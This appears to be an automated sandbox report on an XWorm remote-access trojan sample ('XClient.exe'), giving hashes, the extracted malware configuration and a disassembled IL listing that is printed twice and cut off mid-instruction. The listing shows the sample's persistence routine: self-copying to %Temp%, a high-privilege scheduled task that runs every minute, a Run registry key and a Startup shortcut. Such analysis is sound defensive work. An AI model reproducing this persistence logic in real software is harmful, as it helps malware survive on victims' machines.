Malicious
Malicious

236ce5feeb9cefb3cda409723bdb6e12

PE Executable
|
MD5: 236ce5feeb9cefb3cda409723bdb6e12
|
Size: 68.1 KB
|
application/x-dosexec

Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very high

Hash
Hash Value
MD5
236ce5feeb9cefb3cda409723bdb6e12
Sha1
1e7c8b00621305ad12b10649caabd32e37e97685
Sha256
54ef24c742371b670912e7247caa361fcfad600ba0c36b0479d01d64f6271e35
Sha384
a896b347d65fc642c83460e6674f1c72d90f718ae38d06be8127451ba4c0ac3e2cd8d5c320f515393293acc441f66815
Sha512
57a66906977fb52bd10a655b3814617cc949d59fd9500b0d04c9d3bfb53a7bc4a91b65e0c1865e7ebbae7cc257cea0b5036bdfdaf798803a8ea97523a37e5c55
SSDeep
1536:vIGbVAvWXQ4gBAmi3tsUbVDxTRz70GhXemOM62Gm:vpo4gUtsUbVNm8XrOM6Pm
TLSH
49636D283BF54125E1FF5BB459F236A6D736F2635903D61F20C5028A2727AC8CE416FA

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

%Temp%

KEY

8eg2G1Ux3M7iGR77FRkJTw==

USBNM

MSYjGTBGPWEv3V6yiH2cwQ==

LoggerPath

%Temp%

family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

XClient.exe

Full Name

XClient.exe

EntryPoint

System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::9rbck5iCGbsl8XwdOBlJnQ3Ju0nYahGaV()

Scope Name

XClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

318

Main Method

System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::9rbck5iCGbsl8XwdOBlJnQ3Ju0nYahGaV()

Main IL Instruction Count

347

Main IL

ldsfld System.Int32 vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::8oa1nENl3FY84M1ML1VO0rxAYjMuSEPFZ ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::viMw5D2l76GyiinoXUbxaR1zaMTu4QYwu call System.Object Stub.NT68UcYcXpYJCxBbkw::AItmCOcCngxnbSgUYi(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::viMw5D2l76GyiinoXUbxaR1zaMTu4QYwu ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::348fQeiA67R9guHaLT01aymqzi0WFGygr call System.Object Stub.NT68UcYcXpYJCxBbkw::AItmCOcCngxnbSgUYi(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::348fQeiA67R9guHaLT01aymqzi0WFGygr ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::IgFfvSaRLX07aeq8zxgeXrrOnmrwudwL5 call System.Object Stub.NT68UcYcXpYJCxBbkw::AItmCOcCngxnbSgUYi(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::IgFfvSaRLX07aeq8zxgeXrrOnmrwudwL5 ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::ujdjE7jZ9fy05yoYcn1MlwIlU1r42UXlw call System.Object Stub.NT68UcYcXpYJCxBbkw::AItmCOcCngxnbSgUYi(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::ujdjE7jZ9fy05yoYcn1MlwIlU1r42UXlw ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::mxdaqWViGBB3AvJh0T8Kj7RhRY2B3oRT0 call System.Object Stub.NT68UcYcXpYJCxBbkw::AItmCOcCngxnbSgUYi(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::mxdaqWViGBB3AvJh0T8Kj7RhRY2B3oRT0 ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O leave.s IL_0099: call System.Boolean Stub.NoMEDsZE1VzAc6HSgo::PcdP7wDJOKIxjUVGkg() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0099: call System.Boolean Stub.NoMEDsZE1VzAc6HSgo::PcdP7wDJOKIxjUVGkg() call System.Boolean Stub.NoMEDsZE1VzAc6HSgo::PcdP7wDJOKIxjUVGkg() brtrue.s IL_00A6: call System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::HTfMatd2lkXyK4B4a0hKahULBxlP59Uz5() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::HTfMatd2lkXyK4B4a0hKahULBxlP59Uz5() leave.s IL_00BC: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00BC: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldstr \ ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00ED: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0118: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0118: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.89t4dc55orVstlWhXP4b2d2Tfmk66aZYv::sfOrUnTCpri7x6aREoGmn1iSLNo8YgDQt() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_017E: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_19 ldc.i4.1 <null> ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_19 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_19 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_19 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_01C2: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_19 ldc.i4.1 <null> ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_19 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_19 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_19 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_8 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_01E3: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_01E3: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldstr \ ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_10 call My.W7vvbfYvrJBi17CU3js1caO4r6z1BUqOBeAty8f0BudBiRCKQxuR8fbEqPZrvHMa9TP559xqrdBm715S752vhFV3nxf My.VvNJUb5ZKBnAvDM12ZBQnZH1G1ZlRQMh7ZJ6Tfo2tCPfxqurXrxKXa8NtN08aI47l5ylCm6EtJdfChdFxlP10pn6tbC::8b1f4csTqNNVPsxET4x3mkRnKSLG33cG9ImyJCOc3UieWRj4LqHs7rmjC7ERh4ZYGGioFk8aDyFKZoCLHgxtaqU6PRj() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.s V_10 callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) ldloc.s V_10 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0242: ldc.i4 1000 ldloc.s V_10 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_11 ldloc.s V_11 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_10 ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_026E: leave.s IL_027F dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_026E: leave.s IL_027F leave.s IL_027F: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027F: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldstr \ ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_14 ldloc.s V_14 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_02B3: ldc.i4 1000 ldloc.s V_14 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_16 ldloc.s V_16 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_14 ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_02DF: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_17 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02DF: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_15 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldloc.s V_15 stelem.ref <null> ldloc.s V_20 stloc.s V_21 ldloc.s V_21 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_22 ldloc.s V_22 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_22 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_22 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0364: stloc.s V_23 ldloc.s V_21 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_15 stloc.s V_23 ldloc.s V_23 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_24 ldloc.s V_24 ldc.i4.0 <null> ldloc.s V_14 stelem.ref <null> ldloc.s V_24 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_23 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_24 ldloc.s V_24 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_24 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_23 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_23 ldloc.s V_15 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.NoMEDsZE1VzAc6HSgo::SFN3XolQVLo0WyfILS leave.s IL_03E4: call System.Void Stub.NoMEDsZE1VzAc6HSgo::BMXzEoz06jbJs2RMey() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_18 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_03E4: call System.Void Stub.NoMEDsZE1VzAc6HSgo::BMXzEoz06jbJs2RMey() call System.Void Stub.NoMEDsZE1VzAc6HSgo::BMXzEoz06jbJs2RMey() ldnull <null> ldftn System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::WqhsL4IRKcNb5uLLlbmbR5W552Nu5b0PY() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.89t4dc55orVstlWhXP4b2d2Tfmk66aZYv::sfOrUnTCpri7x6aREoGmn1iSLNo8YgDQt() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0410: ldnull call System.Void Stub.YmvXNgXpQYbwH5MLGY::xNLjVGsfKbONwdCGNd() ldnull <null> ldftn System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::PWG2t8aPPH0wjrOM6GzZO7Dhp7MHQ8x1A() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::mTNz9osv1SFzMyVPDaVDolqoeJcFWwrBK() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Module Name

XClient.exe

Full Name

XClient.exe

EntryPoint

System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::9rbck5iCGbsl8XwdOBlJnQ3Ju0nYahGaV()

Scope Name

XClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

318

Main Method

System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::9rbck5iCGbsl8XwdOBlJnQ3Ju0nYahGaV()

Main IL Instruction Count

347

Main IL

ldsfld System.Int32 vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::8oa1nENl3FY84M1ML1VO0rxAYjMuSEPFZ ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::viMw5D2l76GyiinoXUbxaR1zaMTu4QYwu call System.Object Stub.NT68UcYcXpYJCxBbkw::AItmCOcCngxnbSgUYi(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::viMw5D2l76GyiinoXUbxaR1zaMTu4QYwu ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::348fQeiA67R9guHaLT01aymqzi0WFGygr call System.Object Stub.NT68UcYcXpYJCxBbkw::AItmCOcCngxnbSgUYi(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::348fQeiA67R9guHaLT01aymqzi0WFGygr ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::IgFfvSaRLX07aeq8zxgeXrrOnmrwudwL5 call System.Object Stub.NT68UcYcXpYJCxBbkw::AItmCOcCngxnbSgUYi(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::IgFfvSaRLX07aeq8zxgeXrrOnmrwudwL5 ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::ujdjE7jZ9fy05yoYcn1MlwIlU1r42UXlw call System.Object Stub.NT68UcYcXpYJCxBbkw::AItmCOcCngxnbSgUYi(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::ujdjE7jZ9fy05yoYcn1MlwIlU1r42UXlw ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::mxdaqWViGBB3AvJh0T8Kj7RhRY2B3oRT0 call System.Object Stub.NT68UcYcXpYJCxBbkw::AItmCOcCngxnbSgUYi(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::mxdaqWViGBB3AvJh0T8Kj7RhRY2B3oRT0 ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O leave.s IL_0099: call System.Boolean Stub.NoMEDsZE1VzAc6HSgo::PcdP7wDJOKIxjUVGkg() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0099: call System.Boolean Stub.NoMEDsZE1VzAc6HSgo::PcdP7wDJOKIxjUVGkg() call System.Boolean Stub.NoMEDsZE1VzAc6HSgo::PcdP7wDJOKIxjUVGkg() brtrue.s IL_00A6: call System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::HTfMatd2lkXyK4B4a0hKahULBxlP59Uz5() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::HTfMatd2lkXyK4B4a0hKahULBxlP59Uz5() leave.s IL_00BC: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00BC: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldstr \ ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00ED: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0118: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0118: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.89t4dc55orVstlWhXP4b2d2Tfmk66aZYv::sfOrUnTCpri7x6aREoGmn1iSLNo8YgDQt() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_017E: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_19 ldc.i4.1 <null> ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_19 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_19 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_19 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_01C2: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_19 ldc.i4.1 <null> ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_19 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_19 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_19 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_8 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_01E3: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_01E3: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldstr \ ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_10 call 